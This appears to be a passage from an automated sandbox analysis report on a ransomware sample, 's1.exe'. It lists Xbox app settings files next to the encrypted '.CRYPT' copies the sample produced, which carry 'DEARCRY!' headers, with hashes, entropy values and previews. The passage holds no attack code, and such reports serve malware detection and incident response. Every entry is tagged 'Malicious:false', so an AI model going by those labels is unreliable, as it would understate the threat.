                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.981659789920631
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:952ACC7032D916CD7C4FFC5A45430FEC
                                                              SHA1:C7BBEDB1E95E30D3D6759FC0088FEF492D32C05A
                                                              SHA-256:AFB66C1333CFC12372EF04CE6D407ADC0B583DDB6B0D151945E8E70E94534B07
                                                              SHA-512:046601E20A178D462A1DADD9CEDB0C06CC93472E48558222EBCB8F511D5EB813800A64269D67645D8440EE4F5A67A8BA1664DE694BF162D39E5135A095631051
                                                              Malicious:false
                                                              Preview: DEARCRY!....KM.(eC....o.[..U...rg.z.B.M..+/.......T....s.H.)...../..3.4..B.<........*..=.E...b......7.7.2<...:;....~......$v.....l.....{.......P_.L.R.....h.....~&.L.K"T........L.d!...%.H.K..$....@.q../.NPeW.0.p...Z9.z.5.]U....&w_.....P...l..R....>&....8...l..... .............J.c.;...%_...*/%..y9,....`v.J.....z.....F}e....w......i..;......T....C.|.fTS......p#.L..9..7..%u.L.mg.<=..Me....-S$...=.6#.&.`..bR..'>..E..q4.%*....b..q...^.Orc.F....q..h,..x.[.......M..PS.....pE....'..h..:...(.0..3V.g..-.?..x....;..=9.....h....C....&...Sx8I.t.3)_..1u}..BQ.... ....2dw....=..n.......b..E.d..f.O.C...$i..:.^K...&U.:p..)......d.>..lr.ao..,.......J-.Vb........i..K.S....i.;.....0u....=..?FB.!r.k.{'G~:.Cj..b.?.#....e....J.x....d.2.q..4Ec3...y....jj%.d...-...........Q.t..f..x.....adS....,...f.f=.V.3..m.#.O....wE.6...x..>..oX^>.(.9.B....|..=:@..l.c5...?.....c(".?.9Dv......1....r..M.......rT......5Vr...".G'..bM..M.e\.._...m.....Zh/,...d....S5M....+.tC.4S.5.;
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.980078550321795
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A55A0EFD3A355BB311B94AF02085C3FD
                                                              SHA1:9A6E5671433759C29B801F879F5BDEE541CAD983
                                                              SHA-256:FFDF844F5199C112047A30A45D4F0EE5103DCFF476581E410DEF12F071BB2A1C
                                                              SHA-512:57D11BB4B25A853D3A01EFFAA886728F308DCE96D9036DF6E3CF7047E42AC6D432DE3489A3E5EC5F1D569E2FDAD54395919AB6116E06F92B184A0E0DA386FF36
                                                              Malicious:false
                                                              Preview: DEARCRY!....K.n.W..6........T..W......x:....J.....".7....D.p..|.^.ov.....('..,...@..."..].#.Bm`..UZ....[.tn..0..#@)........."@q7.......>c..:&....Y...).@.K..*b.......u..+}...p...m....C.3S.H...+.b.Zg...}G..B.2&+...V.N[u..'.K......._...OH.u.i..@.F.-....... ......'...i..Y.\.+..U..>_.A ./.a5.>.....o.}|..:..?.oW'.G'.n......l..3.[..jq.<_P..?h_.:.|.QZ*z........>cz3......`/.c.a....}[....Dl.om`dB...C..{4O(..}...:.5b/^d.f-..su...N.........(9t..F/....Qi.l....B5Gb..m.-.His\..+f..#D....3..w..>. ....xk1Y.Y}..i.p..s]a...A7..w8...E.U..N.|+.33...H....1...O...`..y...R7....v.U.c...!....j.q.T=..Q.1,=...;.#....b*?3n.E~.|\.#.v..c.;.5J....^.}...b..N.u}.N...ZR.`..........~....h$..i@6=.>B..,...V..].k..pw......,..n............ZGk.lo}.{!.B..j0.....I.......x..>.,.T.h.r.l....p?a7..FeUr`hv....?...........}.J..h...#.U.r........b|......S.....a~.T.2u.E7..9~j.R.%B..jYg.lM"../.......Vt..!.NH..'v.....a.E.tI...%..:..S.h9qg....]...-..v.y_.A.u1P.X..2f~X(..>..T.2.....z....U
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.988393320618006
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D147801D12407509F694471D8F748046
                                                              SHA1:2673F4C796DB8677DDC3D08DAAFE2BDABC86564E
                                                              SHA-256:59566AFD2651C9CD63876B018071017836EB70BB076091C5C719C173DC3DA566
                                                              SHA-512:3EA2B6BC5BC21EFB56F3032F935C199D4D038B178CD5B137CD344F6C6C342BCF27D86A8A5359EC40BB19CEE469DBDCD59A740A37B31C7FF118EF71AA8BA9F33E
                                                              Malicious:false
                                                              Preview: DEARCRY!......AM3..kl.pMT..*'..9(gC..HLN9t.._.7.,......9..=g.....f.,z.ul.6.).H..C!\..#.H...I,..MI^.]V..c.$../..O^Q...k....|...r..l...+.l3r.7......A....t... .?....UX....&H....Lg.+....Ui.FI..T./...Q...Y8...s^K............0....(.Y.....YWu.+?.!6..2./.r.Fx@.i...... ..........'.....yS.."....-...P6....Rn....D...^.sZO.*.......2.+..1.n....J.L..*.l.|..b[..$6_.&...<.a'....^m.<......]1\...B....}xM<.X......f..7..,..J+...W.1......v8H......y.^.{..Q..hL..S.o..,.....j..Y......*..........v..>.....%!9>B>.T.a..9..R...Xg.ro.@.C...,........J..x.[...F^..?>..\...|u.a.3...8VXc}b....#aB.h..M.K.W.f.......|..e];.y...@C.(aO...o..c.L.....Yg.S.......1J.\l.J.n..e..T...cq.....G.hXy..J...|..!..V..c...o,..N.....BQ.....Dk..,...>.....f.......D*M.%..mc3cS...Yl".D.'.,..B..hfU.."..6...a.,.Mp.......r......o%.......pv..#.......eP.s...lk...;...(..E@=....D'..J.T=....-4..Y..]W.C:.s.O.]....#...M....u..w...c.........Xo..46......a.J:.i.B$.....i..4..Z.5.....d....!R#..y......T....O..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.974812179345946
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2C55A2C9971FFB54DED02B16E1A0619B
                                                              SHA1:6D2CAD6D99236645B214F78BA65175FAE45D5208
                                                              SHA-256:DCF6750D2047B2718584232F446C461449080C669A5573727F7F9F8C0EB1D0CB
                                                              SHA-512:9663ADF4172A2021EBB4235810EF3F91F81C448132881DAD2678BB8361C1DDC498B9718EF316C24BA53D93E572AEED26B9DB714AB6F7B12C4D9E5DAEABF9251D
                                                              Malicious:false
                                                              Preview: DEARCRY!.....N2n.....s..G. G..2.3.Y.......R.Q..k....^~{...0[...W...q+...z.d^..3.DQ?.kP..s...[K.F..iD..2..t}..K..|..#.#.G-...(.L./7`n.x...Jt...[.."J8.......)$.h..enE.P..._........kWJ.~K*e.,.XiZ....(...8..7...;.....W...2..x..k.X.&..~..;.....o...BL...... ......}.G'9...."..=......`....hN".!.H..X.=.l..9.'..l.Z.....'..u..]7%...Oi.e....yr....j.....[ca4...ny..<RbE3.2.......kyg...t..\...6...f...[......5W.C.C........}..U.p ..D?...j)......Q...U.......N.!...i#....m..w%>..e.]Os||...#......k...]..K.r}D=...e. .L./..b .W.".P.V.z.<.Fl.W....+U.....14..........YAG..C.[.e..@...C.%.No.6.......Q".....6..+.....vJ.].*...S.:...Z..K.L.......N.....F..Nk.X.+/.....6........{{.*-.....qK.e....,N`..<.....7G."u./..2"e..T......A....|........P.._.....:).|.a.Sj.[.[..X.5f).*..$..?...a..Zu.....U..'=..`.1.7.......+../..3_Q..JL.G^...z....s... .Za.!..v.+R...Z.+..m..T+.....P.IW.i...Z9...h..2...zd./.K......8.y....5..E..L..b.?|..H..1..."i<.;|...f.}.4a...LL..._.[........r..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.9877009417729194
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B00FF9A2B40AA4A9456CD2F4266ABCC7
                                                              SHA1:3A0FBABA0B1D49912F465EABDCACDB846B349EE7
                                                              SHA-256:5D57BD64A7CC82CAA20C658A75FE4C338215AEE569CE6F2727EE53B867677777
                                                              SHA-512:584BB9E29F6F3C65C08E0946AB639215B60ECEED2B489CFB86CAEAA0C303D9CBA444AE875D8B02F8681F9C42D41CDA581057131D4AFD150E4CF6FC39A0E8DAC9
                                                              Malicious:false
                                                              Preview: DEARCRY!.......+....ry...=...|=(/..\V[/../BR.D.......@.h.!n.Va...N..m(.#...?..|...22@..O\.,._..V..#]......7.ob...{lnZ.f.ce`.8..1V...x........R..|uKC#=.@wI..O.F.........+.q..A..y..#p._._....;.........t......1.(..a.r...c.3.....>.[..H.........L}!x....I..A..... ...........T....[92/#..p...%.~..A....q.9..y.u'..Sm...#...g..| o).".Z.4.T..2...u.4.C.V..tu..hH.........Mx...f^...N.=0bo.ag.E.."..v...`p.A...s..:...{.6.H..W..b....-..].er...e..Qd-2.;......."$....ZX[........S...Z....J....{|kB.6u...[^....M..@3..<.W.~.K.p.'.....\.v).4b..x.......W.....@.Y....p....x.....0:.Y._r....=..HN..pD..&.+1....BS.4.h2N.a...".....Zh\74W...r.../.Z....(a.i..{....K4w(.h...bH...Iu....a.B.z.2..5..{..7s.....f.Z....t.............cC.+.J4.....Q.E.Z....(1q..z....IsX.|.....;.....t..{BMy5...A|....e.%m..3.."z*...K. ./?2.lQ.5W^_T.YJ..V..s4`... ..\X"H......a.e6..M../.i.......hf6_b..Q.4s.<..u'`....i.zJ*r.S....:_u..(M)lSE.L..^\.V<~.@......:m..U. .....Op.0D'.&UQ6S......D."..|.f!...!.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.989043357914604
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:78005FA73A51243AE5CBED37A9574E6A
                                                              SHA1:75BC0E275E40032BD982570D4395F45F9DA6BDD6
                                                              SHA-256:BAE628E0BD7273A9747B503B3EAE85423805C813E2433CD5F56C544AE891D607
                                                              SHA-512:FA29BFB1054FEC6D31E31A07BCD3704B5A1A22703F2754C067043ACBEBE44EAB748F2751C9D702D563D4F00C9F4541D24FE649470CBC10546B2C58B8DDDF0520
                                                              Malicious:false
                                                              Preview: DEARCRY!....?9..U....w....\X......[.J......y=S..KSC.Q.yf...V..u...=.........^..FECi..N.<f....+.J.z..?.9.E..o...0C.V......a.e.q.?..j..!.E<I....$\vS..WIE>bJ..Ye.C(.....:S.........).t.E!....]...y..S...N.F......!.}.~PdA|..P.s.E...Q.6..{f.M..I..`j..m...$"....... .......cJ.2q.\(@..*..B....H..k....2j.0.;..d.^|....X......H......[...-J.-....BWB...O....L.\..Cv3.u.].Y..i.Y(r.}...J#.&...$.1.)SB.^..7..zi...; $..&~..F....q&.^...b#.r...s(~...j.0..#xE.Z[........rA.....x/G.Q....W(.....tvz.......C........2Z%..m.....)g...Ivd.me...{_...E...B.G..o...hX...>..Hd....d.]..\w.W..`..6.F..../+...d...V....x..^K..l.....4R..o..T.E.m:T....z.MD...d]..0".5..r".k......8Y.:L....*U.IXhGK.N.J.KU.....7..f.oR....1....B./..(...[....t..g{it.Mkh.rg....b..... ...c`.z....B..x.)!....... +.L.H'..Y.......h......L.'R4...D.c..6.....L6..#.K.{i.....e`@...7.k....c...f.a....57H...i._.*..,g.a.`.;4:.u..WLyU<&...Ix....*...L.=....5.......[.. S?...+./.@8..nHD.'.l....Q. .......K.!gk...)jD.'..w.M.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
